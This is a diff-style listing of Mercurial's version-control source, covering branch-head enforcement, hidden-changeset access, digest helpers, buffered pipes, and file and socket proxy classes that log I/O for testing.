2088 2088 information like how to fix instabilities"""
2089 2089 if delta > 0:
2090 2090 return _(b'%i new %s changesets\n') % (delta, instability)
2091 2091
2092 2092
2093 2093 def nodesummaries(repo, nodes, maxnumnodes=4):
2094 2094 if len(nodes) <= maxnumnodes or repo.ui.verbose:
2095 2095 return b' '.join(short(h) for h in nodes)
2096 2096 first = b' '.join(short(h) for h in nodes[:maxnumnodes])
2097 2097 return _(b"%s and %d others") % (first, len(nodes) - maxnumnodes)
2098 2098
2099 2099
2100 2100 def enforcesinglehead(repo, tr, desc, accountclosed=False):
2101 2101 """check that no named branch has multiple heads"""
2102 2102 if desc in (b'strip', b'repair'):
2103 2103 # skip the logic during strip
2104 2104 return
2105 2105 visible = repo.filtered(b'visible')
2106 2106 # possible improvement: we could restrict the check to affected branch
2107 2107 bm = visible.branchmap()
2108 2108 for name in bm:
2109 2109 heads = bm.branchheads(name, closed=accountclosed)
2110 2110 if len(heads) > 1:
2111 2111 msg = _(b'rejecting multiple heads on branch "%s"')
2112 2112 msg %= name
2113 2113 hint = _(b'%d heads: %s')
2114 2114 hint %= (len(heads), nodesummaries(repo, heads))
2115 2115 raise error.Abort(msg, hint=hint)
2116 2116
2117 2117
2118 2118 def wrapconvertsink(sink):
2119 2119 """Allow extensions to wrap the sink returned by convcmd.convertsink()
2120 2120 before it is used, whether or not the convert extension was formally loaded.
2121 2121 """
2122 2122 return sink
2123 2123
2124 2124
2125 2125 def unhidehashlikerevs(repo, specs, hiddentype):
2126 2126 """parse the user specs and unhide changesets whose hash or revision number
2127 2127 is passed.
2128 2128
2129 2129 hiddentype can be: 1) 'warn': warn while unhiding changesets
2130 2130 2) 'nowarn': don't warn while unhiding changesets
2131 2131
2132 2132 returns a repo object with the required changesets unhidden
2133 2133 """
2134 2134 if not repo.filtername or not repo.ui.configbool(
2135 2135 b'experimental', b'directaccess'
2136 2136 ):
2137 2137 return repo
2138 2138
2139 2139 if repo.filtername not in (b'visible', b'visible-hidden'):
2140 2140 return repo
2141 2141
2142 2142 symbols = set()
2143 2143 for spec in specs:
2144 2144 try:
2145 2145 tree = revsetlang.parse(spec)
2146 2146 except error.ParseError: # will be reported by scmutil.revrange()
2147 2147 continue
2148 2148
2149 2149 symbols.update(revsetlang.gethashlikesymbols(tree))
2150 2150
2151 2151 if not symbols:
2152 2152 return repo
2153 2153
2154 2154 revs = _getrevsfromsymbols(repo, symbols)
2155 2155
2156 2156 if not revs:
2157 2157 return repo
2158 2158
2159 2159 if hiddentype == b'warn':
2160 2160 unfi = repo.unfiltered()
2161 2161 revstr = b", ".join([pycompat.bytestr(unfi[l]) for l in revs])
2162 2162 repo.ui.warn(
2163 2163 _(
2164 2164 b"warning: accessing hidden changesets for write "
2165 2165 b"operation: %s\n"
2166 2166 )
2167 2167 % revstr
2168 2168 )
2169 2169
2170 2170 # we have to use new filtername to separate branch/tags cache until we can
2171 2171 # disbale these cache when revisions are dynamically pinned.
2172 2172 return repo.filtered(b'visible-hidden', revs)
2173 2173
2174 2174
2175 2175 def _getrevsfromsymbols(repo, symbols):
2176 2176 """parse the list of symbols and returns a set of revision numbers of hidden
2177 2177 changesets present in symbols"""
2178 2178 revs = set()
2179 2179 unfi = repo.unfiltered()
2180 2180 unficl = unfi.changelog
2181 2181 cl = repo.changelog
2182 2182 tiprev = len(unficl)
2183 2183 allowrevnums = repo.ui.configbool(b'experimental', b'directaccess.revnums')
2184 2184 for s in symbols:
2185 2185 try:
2186 2186 n = int(s)
2187 2187 if n <= tiprev:
2188 2188 if not allowrevnums:
2189 2189 continue
2190 2190 else:
2191 2191 if n not in cl:
2192 2192 revs.add(n)
2193 2193 continue
2194 2194 except ValueError:
2195 2195 pass
2196 2196
2197 2197 try:
2198 2198 s = resolvehexnodeidprefix(unfi, s)
2199 2199 except (error.LookupError, error.WdirUnsupported):
2200 2200 s = None
2201 2201
2202 2202 if s is not None:
2203 2203 rev = unficl.rev(s)
2204 2204 if rev not in cl:
2205 2205 revs.add(rev)
2206 2206
2207 2207 return revs
2208 2208
2209 2209
2210 2210 def bookmarkrevs(repo, mark):
2211 2211 """
2212 2212 Select revisions reachable by a given bookmark
2213 2213 """
2214 2214 return repo.revs(
2215 2215 b"ancestors(bookmark(%s)) - "
2216 2216 b"ancestors(head() and not bookmark(%s)) - "
2217 2217 b"ancestors(bookmark() and not bookmark(%s))",
2218 2218 mark,
2219 2219 mark,
2220 2220 mark,
2221 2221 )
@@ -1,3609 +1,3601 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import collections
20 20 import contextlib
21 21 import errno
22 22 import gc
23 23 import hashlib
24 24 import itertools
25 25 import mmap
26 26 import os
27 27 import platform as pyplatform
28 28 import re as remod
29 29 import shutil
30 30 import socket
31 31 import stat
32 32 import sys
33 33 import time
34 34 import traceback
35 35 import warnings
36 36
37 37 from .thirdparty import attr
38 38 from .pycompat import (
39 39 delattr,
40 40 getattr,
41 41 open,
42 42 setattr,
43 43 )
44 44 from hgdemandimport import tracing
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 node as nodemod,
50 50 policy,
51 51 pycompat,
52 52 urllibcompat,
53 53 )
54 54 from .utils import (
55 55 compression,
56 56 procutil,
57 57 stringutil,
58 58 )
59 59
60 60 base85 = policy.importmod('base85')
61 61 osutil = policy.importmod('osutil')
62 62
63 63 b85decode = base85.b85decode
64 64 b85encode = base85.b85encode
65 65
66 66 cookielib = pycompat.cookielib
67 67 httplib = pycompat.httplib
68 68 pickle = pycompat.pickle
69 69 safehasattr = pycompat.safehasattr
70 70 socketserver = pycompat.socketserver
71 71 bytesio = pycompat.bytesio
72 72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 73 stringio = bytesio
74 74 xmlrpclib = pycompat.xmlrpclib
75 75
76 76 httpserver = urllibcompat.httpserver
77 77 urlerr = urllibcompat.urlerr
78 78 urlreq = urllibcompat.urlreq
79 79
80 80 # workaround for win32mbcs
81 81 _filenamebytestr = pycompat.bytestr
82 82
83 83 if pycompat.iswindows:
84 84 from . import windows as platform
85 85 else:
86 86 from . import posix as platform
87 87
88 88 _ = i18n._
89 89
90 90 bindunixsocket = platform.bindunixsocket
91 91 cachestat = platform.cachestat
92 92 checkexec = platform.checkexec
93 93 checklink = platform.checklink
94 94 copymode = platform.copymode
95 95 expandglobs = platform.expandglobs
96 96 getfsmountpoint = platform.getfsmountpoint
97 97 getfstype = platform.getfstype
98 98 groupmembers = platform.groupmembers
99 99 groupname = platform.groupname
100 100 isexec = platform.isexec
101 101 isowner = platform.isowner
102 102 listdir = osutil.listdir
103 103 localpath = platform.localpath
104 104 lookupreg = platform.lookupreg
105 105 makedir = platform.makedir
106 106 nlinks = platform.nlinks
107 107 normpath = platform.normpath
108 108 normcase = platform.normcase
109 109 normcasespec = platform.normcasespec
110 110 normcasefallback = platform.normcasefallback
111 111 openhardlinks = platform.openhardlinks
112 112 oslink = platform.oslink
113 113 parsepatchoutput = platform.parsepatchoutput
114 114 pconvert = platform.pconvert
115 115 poll = platform.poll
116 116 posixfile = platform.posixfile
117 117 readlink = platform.readlink
118 118 rename = platform.rename
119 119 removedirs = platform.removedirs
120 120 samedevice = platform.samedevice
121 121 samefile = platform.samefile
122 122 samestat = platform.samestat
123 123 setflags = platform.setflags
124 124 split = platform.split
125 125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 126 statisexec = platform.statisexec
127 127 statislink = platform.statislink
128 128 umask = platform.umask
129 129 unlink = platform.unlink
130 130 username = platform.username
131 131
132 132 # small compat layer
133 133 compengines = compression.compengines
134 134 SERVERROLE = compression.SERVERROLE
135 135 CLIENTROLE = compression.CLIENTROLE
136 136
137 137 try:
138 138 recvfds = osutil.recvfds
139 139 except AttributeError:
140 140 pass
141 141
142 142 # Python compatibility
143 143
144 144 _notset = object()
145 145
146 146
147 147 def bitsfrom(container):
148 148 bits = 0
149 149 for bit in container:
150 150 bits |= bit
151 151 return bits
152 152
153 153
154 154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 155 # to display anything to standard user so detect if we are running test and
156 156 # only use python deprecation warning in this case.
157 157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 158 if _dowarn:
159 159 # explicitly unfilter our warning for python 2.7
160 160 #
161 161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 168 if _dowarn and pycompat.ispy3:
169 169 # silence warning emitted by passing user string to re.sub()
170 170 warnings.filterwarnings(
171 171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 172 )
173 173 warnings.filterwarnings(
174 174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 175 )
176 176 # TODO: reinvent imp.is_frozen()
177 177 warnings.filterwarnings(
178 178 'ignore',
179 179 'the imp module is deprecated',
180 180 DeprecationWarning,
181 181 'mercurial',
182 182 )
183 183
184 184
185 185 def nouideprecwarn(msg, version, stacklevel=1):
186 186 """Issue an python native deprecation warning
187 187
188 188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 189 """
190 190 if _dowarn:
191 191 msg += (
192 192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 193 b" update your code.)"
194 194 ) % version
195 195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196 196
197 197
198 198 DIGESTS = {
199 199 b'md5': hashlib.md5,
200 200 b'sha1': hashlib.sha1,
201 201 b'sha512': hashlib.sha512,
202 202 }
203 203 # List of digest types from strongest to weakest
204 204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205 205
206 206 for k in DIGESTS_BY_STRENGTH:
207 207 assert k in DIGESTS
208 208
209 209
210 210 class digester(object):
211 211 """helper to compute digests.
212 212
213 213 This helper can be used to compute one or more digests given their name.
214 214
215 215 >>> d = digester([b'md5', b'sha1'])
216 216 >>> d.update(b'foo')
217 217 >>> [k for k in sorted(d)]
218 218 ['md5', 'sha1']
219 219 >>> d[b'md5']
220 220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 221 >>> d[b'sha1']
222 222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 223 >>> digester.preferred([b'md5', b'sha1'])
224 224 'sha1'
225 225 """
226 226
227 227 def __init__(self, digests, s=b''):
228 228 self._hashes = {}
229 229 for k in digests:
230 230 if k not in DIGESTS:
231 231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 232 self._hashes[k] = DIGESTS[k]()
233 233 if s:
234 234 self.update(s)
235 235
236 236 def update(self, data):
237 237 for h in self._hashes.values():
238 238 h.update(data)
239 239
240 240 def __getitem__(self, key):
241 241 if key not in DIGESTS:
242 242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 243 return nodemod.hex(self._hashes[key].digest())
244 244
245 245 def __iter__(self):
246 246 return iter(self._hashes)
247 247
248 248 @staticmethod
249 249 def preferred(supported):
250 250 """returns the strongest digest type in both supported and DIGESTS."""
251 251
252 252 for k in DIGESTS_BY_STRENGTH:
253 253 if k in supported:
254 254 return k
255 255 return None
256 256
257 257
258 258 class digestchecker(object):
259 259 """file handle wrapper that additionally checks content against a given
260 260 size and digests.
261 261
262 262 d = digestchecker(fh, size, {'md5': '...'})
263 263
264 264 When multiple digests are given, all of them are validated.
265 265 """
266 266
267 267 def __init__(self, fh, size, digests):
268 268 self._fh = fh
269 269 self._size = size
270 270 self._got = 0
271 271 self._digests = dict(digests)
272 272 self._digester = digester(self._digests.keys())
273 273
274 274 def read(self, length=-1):
275 275 content = self._fh.read(length)
276 276 self._digester.update(content)
277 277 self._got += len(content)
278 278 return content
279 279
280 280 def validate(self):
281 281 if self._size != self._got:
282 282 raise error.Abort(
283 283 _(b'size mismatch: expected %d, got %d')
284 284 % (self._size, self._got)
285 285 )
286 286 for k, v in self._digests.items():
287 287 if v != self._digester[k]:
288 288 # i18n: first parameter is a digest name
289 289 raise error.Abort(
290 290 _(b'%s mismatch: expected %s, got %s')
291 291 % (k, v, self._digester[k])
292 292 )
293 293
294 294
295 295 try:
296 296 buffer = buffer
297 297 except NameError:
298 298
299 299 def buffer(sliceable, offset=0, length=None):
300 300 if length is not None:
301 301 return memoryview(sliceable)[offset : offset + length]
302 302 return memoryview(sliceable)[offset:]
303 303
304 304
305 305 _chunksize = 4096
306 306
307 307
308 308 class bufferedinputpipe(object):
309 309 """a manually buffered input pipe
310 310
311 311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 312 the same time. We cannot probe the buffer state and select will not detect
313 313 that data are ready to read if they are already buffered.
314 314
315 315 This class let us work around that by implementing its own buffering
316 316 (allowing efficient readline) while offering a way to know if the buffer is
317 317 empty from the output (allowing collaboration of the buffer with polling).
318 318
319 319 This class lives in the 'util' module because it makes use of the 'os'
320 320 module from the python stdlib.
321 321 """
322 322
323 323 def __new__(cls, fh):
324 324 # If we receive a fileobjectproxy, we need to use a variation of this
325 325 # class that notifies observers about activity.
326 326 if isinstance(fh, fileobjectproxy):
327 327 cls = observedbufferedinputpipe
328 328
329 329 return super(bufferedinputpipe, cls).__new__(cls)
330 330
331 331 def __init__(self, input):
332 332 self._input = input
333 333 self._buffer = []
334 334 self._eof = False
335 335 self._lenbuf = 0
336 336
337 337 @property
338 338 def hasbuffer(self):
339 339 """True is any data is currently buffered
340 340
341 341 This will be used externally a pre-step for polling IO. If there is
342 342 already data then no polling should be set in place."""
343 343 return bool(self._buffer)
344 344
345 345 @property
346 346 def closed(self):
347 347 return self._input.closed
348 348
349 349 def fileno(self):
350 350 return self._input.fileno()
351 351
352 352 def close(self):
353 353 return self._input.close()
354 354
355 355 def read(self, size):
356 356 while (not self._eof) and (self._lenbuf < size):
357 357 self._fillbuffer()
358 358 return self._frombuffer(size)
359 359
360 360 def unbufferedread(self, size):
361 361 if not self._eof and self._lenbuf == 0:
362 362 self._fillbuffer(max(size, _chunksize))
363 363 return self._frombuffer(min(self._lenbuf, size))
364 364
365 365 def readline(self, *args, **kwargs):
366 366 if len(self._buffer) > 1:
367 367 # this should not happen because both read and readline end with a
368 368 # _frombuffer call that collapse it.
369 369 self._buffer = [b''.join(self._buffer)]
370 370 self._lenbuf = len(self._buffer[0])
371 371 lfi = -1
372 372 if self._buffer:
373 373 lfi = self._buffer[-1].find(b'\n')
374 374 while (not self._eof) and lfi < 0:
375 375 self._fillbuffer()
376 376 if self._buffer:
377 377 lfi = self._buffer[-1].find(b'\n')
378 378 size = lfi + 1
379 379 if lfi < 0: # end of file
380 380 size = self._lenbuf
381 381 elif len(self._buffer) > 1:
382 382 # we need to take previous chunks into account
383 383 size += self._lenbuf - len(self._buffer[-1])
384 384 return self._frombuffer(size)
385 385
386 386 def _frombuffer(self, size):
387 387 """return at most 'size' data from the buffer
388 388
389 389 The data are removed from the buffer."""
390 390 if size == 0 or not self._buffer:
391 391 return b''
392 392 buf = self._buffer[0]
393 393 if len(self._buffer) > 1:
394 394 buf = b''.join(self._buffer)
395 395
396 396 data = buf[:size]
397 397 buf = buf[len(data) :]
398 398 if buf:
399 399 self._buffer = [buf]
400 400 self._lenbuf = len(buf)
401 401 else:
402 402 self._buffer = []
403 403 self._lenbuf = 0
404 404 return data
405 405
406 406 def _fillbuffer(self, size=_chunksize):
407 407 """read data to the buffer"""
408 408 data = os.read(self._input.fileno(), size)
409 409 if not data:
410 410 self._eof = True
411 411 else:
412 412 self._lenbuf += len(data)
413 413 self._buffer.append(data)
414 414
415 415 return data
416 416
417 417
418 418 def mmapread(fp):
419 419 try:
420 420 fd = getattr(fp, 'fileno', lambda: fp)()
421 421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 422 except ValueError:
423 423 # Empty files cannot be mmapped, but mmapread should still work. Check
424 424 # if the file is empty, and if so, return an empty buffer.
425 425 if os.fstat(fd).st_size == 0:
426 426 return b''
427 427 raise
428 428
429 429
430 430 class fileobjectproxy(object):
431 431 """A proxy around file objects that tells a watcher when events occur.
432 432
433 433 This type is intended to only be used for testing purposes. Think hard
434 434 before using it in important code.
435 435 """
436 436
437 437 __slots__ = (
438 438 '_orig',
439 439 '_observer',
440 440 )
441 441
442 442 def __init__(self, fh, observer):
443 443 object.__setattr__(self, '_orig', fh)
444 444 object.__setattr__(self, '_observer', observer)
445 445
446 446 def __getattribute__(self, name):
447 447 ours = {
448 448 '_observer',
449 449 # IOBase
450 450 'close',
451 451 # closed if a property
452 452 'fileno',
453 453 'flush',
454 454 'isatty',
455 455 'readable',
456 456 'readline',
457 457 'readlines',
458 458 'seek',
459 459 'seekable',
460 460 'tell',
461 461 'truncate',
462 462 'writable',
463 463 'writelines',
464 464 # RawIOBase
465 465 'read',
466 466 'readall',
467 467 'readinto',
468 468 'write',
469 469 # BufferedIOBase
470 470 # raw is a property
471 471 'detach',
472 472 # read defined above
473 473 'read1',
474 474 # readinto defined above
475 475 # write defined above
476 476 }
477 477
478 478 # We only observe some methods.
479 479 if name in ours:
480 480 return object.__getattribute__(self, name)
481 481
482 482 return getattr(object.__getattribute__(self, '_orig'), name)
483 483
484 484 def __nonzero__(self):
485 485 return bool(object.__getattribute__(self, '_orig'))
486 486
487 487 __bool__ = __nonzero__
488 488
489 489 def __delattr__(self, name):
490 490 return delattr(object.__getattribute__(self, '_orig'), name)
491 491
492 492 def __setattr__(self, name, value):
493 493 return setattr(object.__getattribute__(self, '_orig'), name, value)
494 494
495 495 def __iter__(self):
496 496 return object.__getattribute__(self, '_orig').__iter__()
497 497
498 498 def _observedcall(self, name, *args, **kwargs):
499 499 # Call the original object.
500 500 orig = object.__getattribute__(self, '_orig')
501 501 res = getattr(orig, name)(*args, **kwargs)
502 502
503 503 # Call a method on the observer of the same name with arguments
504 504 # so it can react, log, etc.
505 505 observer = object.__getattribute__(self, '_observer')
506 506 fn = getattr(observer, name, None)
507 507 if fn:
508 508 fn(res, *args, **kwargs)
509 509
510 510 return res
511 511
512 512 def close(self, *args, **kwargs):
513 513 return object.__getattribute__(self, '_observedcall')(
514 514 'close', *args, **kwargs
515 515 )
516 516
517 517 def fileno(self, *args, **kwargs):
518 518 return object.__getattribute__(self, '_observedcall')(
519 519 'fileno', *args, **kwargs
520 520 )
521 521
522 522 def flush(self, *args, **kwargs):
523 523 return object.__getattribute__(self, '_observedcall')(
524 524 'flush', *args, **kwargs
525 525 )
526 526
527 527 def isatty(self, *args, **kwargs):
528 528 return object.__getattribute__(self, '_observedcall')(
529 529 'isatty', *args, **kwargs
530 530 )
531 531
532 532 def readable(self, *args, **kwargs):
533 533 return object.__getattribute__(self, '_observedcall')(
534 534 'readable', *args, **kwargs
535 535 )
536 536
537 537 def readline(self, *args, **kwargs):
538 538 return object.__getattribute__(self, '_observedcall')(
539 539 'readline', *args, **kwargs
540 540 )
541 541
542 542 def readlines(self, *args, **kwargs):
543 543 return object.__getattribute__(self, '_observedcall')(
544 544 'readlines', *args, **kwargs
545 545 )
546 546
547 547 def seek(self, *args, **kwargs):
548 548 return object.__getattribute__(self, '_observedcall')(
549 549 'seek', *args, **kwargs
550 550 )
551 551
552 552 def seekable(self, *args, **kwargs):
553 553 return object.__getattribute__(self, '_observedcall')(
554 554 'seekable', *args, **kwargs
555 555 )
556 556
557 557 def tell(self, *args, **kwargs):
558 558 return object.__getattribute__(self, '_observedcall')(
559 559 'tell', *args, **kwargs
560 560 )
561 561
562 562 def truncate(self, *args, **kwargs):
563 563 return object.__getattribute__(self, '_observedcall')(
564 564 'truncate', *args, **kwargs
565 565 )
566 566
567 567 def writable(self, *args, **kwargs):
568 568 return object.__getattribute__(self, '_observedcall')(
569 569 'writable', *args, **kwargs
570 570 )
571 571
572 572 def writelines(self, *args, **kwargs):
573 573 return object.__getattribute__(self, '_observedcall')(
574 574 'writelines', *args, **kwargs
575 575 )
576 576
577 577 def read(self, *args, **kwargs):
578 578 return object.__getattribute__(self, '_observedcall')(
579 579 'read', *args, **kwargs
580 580 )
581 581
582 582 def readall(self, *args, **kwargs):
583 583 return object.__getattribute__(self, '_observedcall')(
584 584 'readall', *args, **kwargs
585 585 )
586 586
587 587 def readinto(self, *args, **kwargs):
588 588 return object.__getattribute__(self, '_observedcall')(
589 589 'readinto', *args, **kwargs
590 590 )
591 591
592 592 def write(self, *args, **kwargs):
593 593 return object.__getattribute__(self, '_observedcall')(
594 594 'write', *args, **kwargs
595 595 )
596 596
597 597 def detach(self, *args, **kwargs):
598 598 return object.__getattribute__(self, '_observedcall')(
599 599 'detach', *args, **kwargs
600 600 )
601 601
602 602 def read1(self, *args, **kwargs):
603 603 return object.__getattribute__(self, '_observedcall')(
604 604 'read1', *args, **kwargs
605 605 )
606 606
607 607
608 608 class observedbufferedinputpipe(bufferedinputpipe):
609 609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610 610
611 611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
612 612 bypass ``fileobjectproxy``. Because of this, we need to make
613 613 ``bufferedinputpipe`` aware of these operations.
614 614
615 615 This variation of ``bufferedinputpipe`` can notify observers about
616 616 ``os.read()`` events. It also re-publishes other events, such as
617 617 ``read()`` and ``readline()``.
618 618 """
619 619
620 620 def _fillbuffer(self):
621 621 res = super(observedbufferedinputpipe, self)._fillbuffer()
622 622
623 623 fn = getattr(self._input._observer, 'osread', None)
624 624 if fn:
625 625 fn(res, _chunksize)
626 626
627 627 return res
628 628
629 629 # We use different observer methods because the operation isn't
630 630 # performed on the actual file object but on us.
631 631 def read(self, size):
632 632 res = super(observedbufferedinputpipe, self).read(size)
633 633
634 634 fn = getattr(self._input._observer, 'bufferedread', None)
635 635 if fn:
636 636 fn(res, size)
637 637
638 638 return res
639 639
640 640 def readline(self, *args, **kwargs):
641 641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
642 642
643 643 fn = getattr(self._input._observer, 'bufferedreadline', None)
644 644 if fn:
645 645 fn(res)
646 646
647 647 return res
648 648
649 649
650 650 PROXIED_SOCKET_METHODS = {
651 651 'makefile',
652 652 'recv',
653 653 'recvfrom',
654 654 'recvfrom_into',
655 655 'recv_into',
656 656 'send',
657 657 'sendall',
658 658 'sendto',
659 659 'setblocking',
660 660 'settimeout',
661 661 'gettimeout',
662 662 'setsockopt',
663 663 }
664 664
665 665
666 666 class socketproxy(object):
667 667 """A proxy around a socket that tells a watcher when events occur.
668 668
669 669 This is like ``fileobjectproxy`` except for sockets.
670 670
671 671 This type is intended to only be used for testing purposes. Think hard
672 672 before using it in important code.
673 673 """
674 674
675 675 __slots__ = (
676 676 '_orig',
677 677 '_observer',
678 678 )
679 679
680 680 def __init__(self, sock, observer):
681 681 object.__setattr__(self, '_orig', sock)
682 682 object.__setattr__(self, '_observer', observer)
683 683
684 684 def __getattribute__(self, name):
685 685 if name in PROXIED_SOCKET_METHODS:
686 686 return object.__getattribute__(self, name)
687 687
688 688 return getattr(object.__getattribute__(self, '_orig'), name)
689 689
690 690 def __delattr__(self, name):
691 691 return delattr(object.__getattribute__(self, '_orig'), name)
692 692
693 693 def __setattr__(self, name, value):
694 694 return setattr(object.__getattribute__(self, '_orig'), name, value)
695 695
696 696 def __nonzero__(self):
697 697 return bool(object.__getattribute__(self, '_orig'))
698 698
699 699 __bool__ = __nonzero__
700 700
701 701 def _observedcall(self, name, *args, **kwargs):
702 702 # Call the original object.
703 703 orig = object.__getattribute__(self, '_orig')
704 704 res = getattr(orig, name)(*args, **kwargs)
705 705
706 706 # Call a method on the observer of the same name with arguments
707 707 # so it can react, log, etc.
708 708 observer = object.__getattribute__(self, '_observer')
709 709 fn = getattr(observer, name, None)
710 710 if fn:
711 711 fn(res, *args, **kwargs)
712 712
713 713 return res
714 714
715 715 def makefile(self, *args, **kwargs):
716 716 res = object.__getattribute__(self, '_observedcall')(
717 717 'makefile', *args, **kwargs
718 718 )
719 719
720 720 # The file object may be used for I/O. So we turn it into a
721 721 # proxy using our observer.
722 722 observer = object.__getattribute__(self, '_observer')
723 723 return makeloggingfileobject(
724 724 observer.fh,
725 725 res,
726 726 observer.name,
727 727 reads=observer.reads,
728 728 writes=observer.writes,
729 729 logdata=observer.logdata,
730 730 logdataapis=observer.logdataapis,
731 731 )
732 732
733 733 def recv(self, *args, **kwargs):
734 734 return object.__getattribute__(self, '_observedcall')(
735 735 'recv', *args, **kwargs
736 736 )
737 737
738 738 def recvfrom(self, *args, **kwargs):
739 739 return object.__getattribute__(self, '_observedcall')(
740 740 'recvfrom', *args, **kwargs
741 741 )
742 742
743 743 def recvfrom_into(self, *args, **kwargs):
744 744 return object.__getattribute__(self, '_observedcall')(
745 745 'recvfrom_into', *args, **kwargs
746 746 )
747 747
748 748 def recv_into(self, *args, **kwargs):
749 749 return object.__getattribute__(self, '_observedcall')(
750 750 'recv_info', *args, **kwargs
751 751 )
752 752
753 753 def send(self, *args, **kwargs):
754 754 return object.__getattribute__(self, '_observedcall')(
755 755 'send', *args, **kwargs
756 756 )
757 757
758 758 def sendall(self, *args, **kwargs):
759 759 return object.__getattribute__(self, '_observedcall')(
760 760 'sendall', *args, **kwargs
761 761 )
762 762
763 763 def sendto(self, *args, **kwargs):
764 764 return object.__getattribute__(self, '_observedcall')(
765 765 'sendto', *args, **kwargs
766 766 )
767 767
768 768 def setblocking(self, *args, **kwargs):
769 769 return object.__getattribute__(self, '_observedcall')(
770 770 'setblocking', *args, **kwargs
771 771 )
772 772
773 773 def settimeout(self, *args, **kwargs):
774 774 return object.__getattribute__(self, '_observedcall')(
775 775 'settimeout', *args, **kwargs
776 776 )
777 777
778 778 def gettimeout(self, *args, **kwargs):
779 779 return object.__getattribute__(self, '_observedcall')(
780 780 'gettimeout', *args, **kwargs
781 781 )
782 782
783 783 def setsockopt(self, *args, **kwargs):
784 784 return object.__getattribute__(self, '_observedcall')(
785 785 'setsockopt', *args, **kwargs
786 786 )
787 787
788 788
789 789 class baseproxyobserver(object):
790 790 def _writedata(self, data):
791 791 if not self.logdata:
792 792 if self.logdataapis:
793 793 self.fh.write(b'\n')
794 794 self.fh.flush()
795 795 return
796 796
797 797 # Simple case writes all data on a single line.
798 798 if b'\n' not in data:
799 799 if self.logdataapis:
800 800 self.fh.write(b': %s\n' % stringutil.escapestr(data))
801 801 else:
802 802 self.fh.write(
803 803 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
804 804 )
805 805 self.fh.flush()
806 806 return
807 807
808 808 # Data with newlines is written to multiple lines.
809 809 if self.logdataapis:
810 810 self.fh.write(b':\n')
811 811
812 812 lines = data.splitlines(True)
813 813 for line in lines:
814 814 self.fh.write(
815 815 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
816 816 )
817 817 self.fh.flush()
818 818
819 819
820 820 class fileobjectobserver(baseproxyobserver):
821 821 """Logs file object activity."""
822 822
823 823 def __init__(
824 824 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
825 825 ):
826 826 self.fh = fh
827 827 self.name = name
828 828 self.logdata = logdata
829 829 self.logdataapis = logdataapis
830 830 self.reads = reads
831 831 self.writes = writes
832 832
833 833 def read(self, res, size=-1):
834 834 if not self.reads:
835 835 return
836 836 # Python 3 can return None from reads at EOF instead of empty strings.
837 837 if res is None:
838 838 res = b''
839 839
840 840 if size == -1 and res == b'':
841 841 # Suppress pointless read(-1) calls that return
842 842 # nothing. These happen _a lot_ on Python 3, and there
843 843 # doesn't seem to be a better workaround to have matching
844 844 # Python 2 and 3 behavior. :(
845 845 return
846 846
847 847 if self.logdataapis:
848 848 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
849 849
850 850 self._writedata(res)
851 851
852 852 def readline(self, res, limit=-1):
853 853 if not self.reads:
854 854 return
855 855
856 856 if self.logdataapis:
857 857 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
858 858
859 859 self._writedata(res)
860 860
861 861 def readinto(self, res, dest):
862 862 if not self.reads:
863 863 return
864 864
865 865 if self.logdataapis:
866 866 self.fh.write(
867 867 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
868 868 )
869 869
870 870 data = dest[0:res] if res is not None else b''
871 871
872 872 # _writedata() uses "in" operator and is confused by memoryview because
873 873 # characters are ints on Python 3.
874 874 if isinstance(data, memoryview):
875 875 data = data.tobytes()
876 876
877 877 self._writedata(data)
878 878
879 879 def write(self, res, data):
880 880 if not self.writes:
881 881 return
882 882
883 883 # Python 2 returns None from some write() calls. Python 3 (reasonably)
884 884 # returns the integer bytes written.
885 885 if res is None and data:
886 886 res = len(data)
887 887
888 888 if self.logdataapis:
889 889 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
890 890
891 891 self._writedata(data)
892 892
893 893 def flush(self, res):
894 894 if not self.writes:
895 895 return
896 896
897 897 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
898 898
899 899 # For observedbufferedinputpipe.
900 900 def bufferedread(self, res, size):
901 901 if not self.reads:
